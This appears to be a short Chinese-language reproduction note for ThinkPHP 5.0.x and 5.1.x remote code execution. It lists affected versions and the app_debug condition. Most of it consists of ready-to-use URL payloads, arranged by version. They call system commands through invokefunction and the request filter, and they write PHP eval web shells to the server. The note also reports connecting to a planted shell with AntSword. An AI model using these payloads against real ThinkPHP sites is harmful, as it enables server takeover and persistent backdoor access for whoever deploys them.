影响范围
ThinkPHP 5.0.全版本
5.0.13~5.0.19的,这些版本默认情况下config中的app_debug配置项为false,需开启才能存在此漏洞。
漏洞复现
访问靶机
传入
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
写入一个shell.php
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[123])?%3E
蚁剑连接成功
大佬的poc
# 版本号5.0.8~5.0.19
?s=whoami&_method=__construct&filter&filter=system
# 版本号5.0.20~5.0.23
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
5.1.x php版本>5.5:
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4:
?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'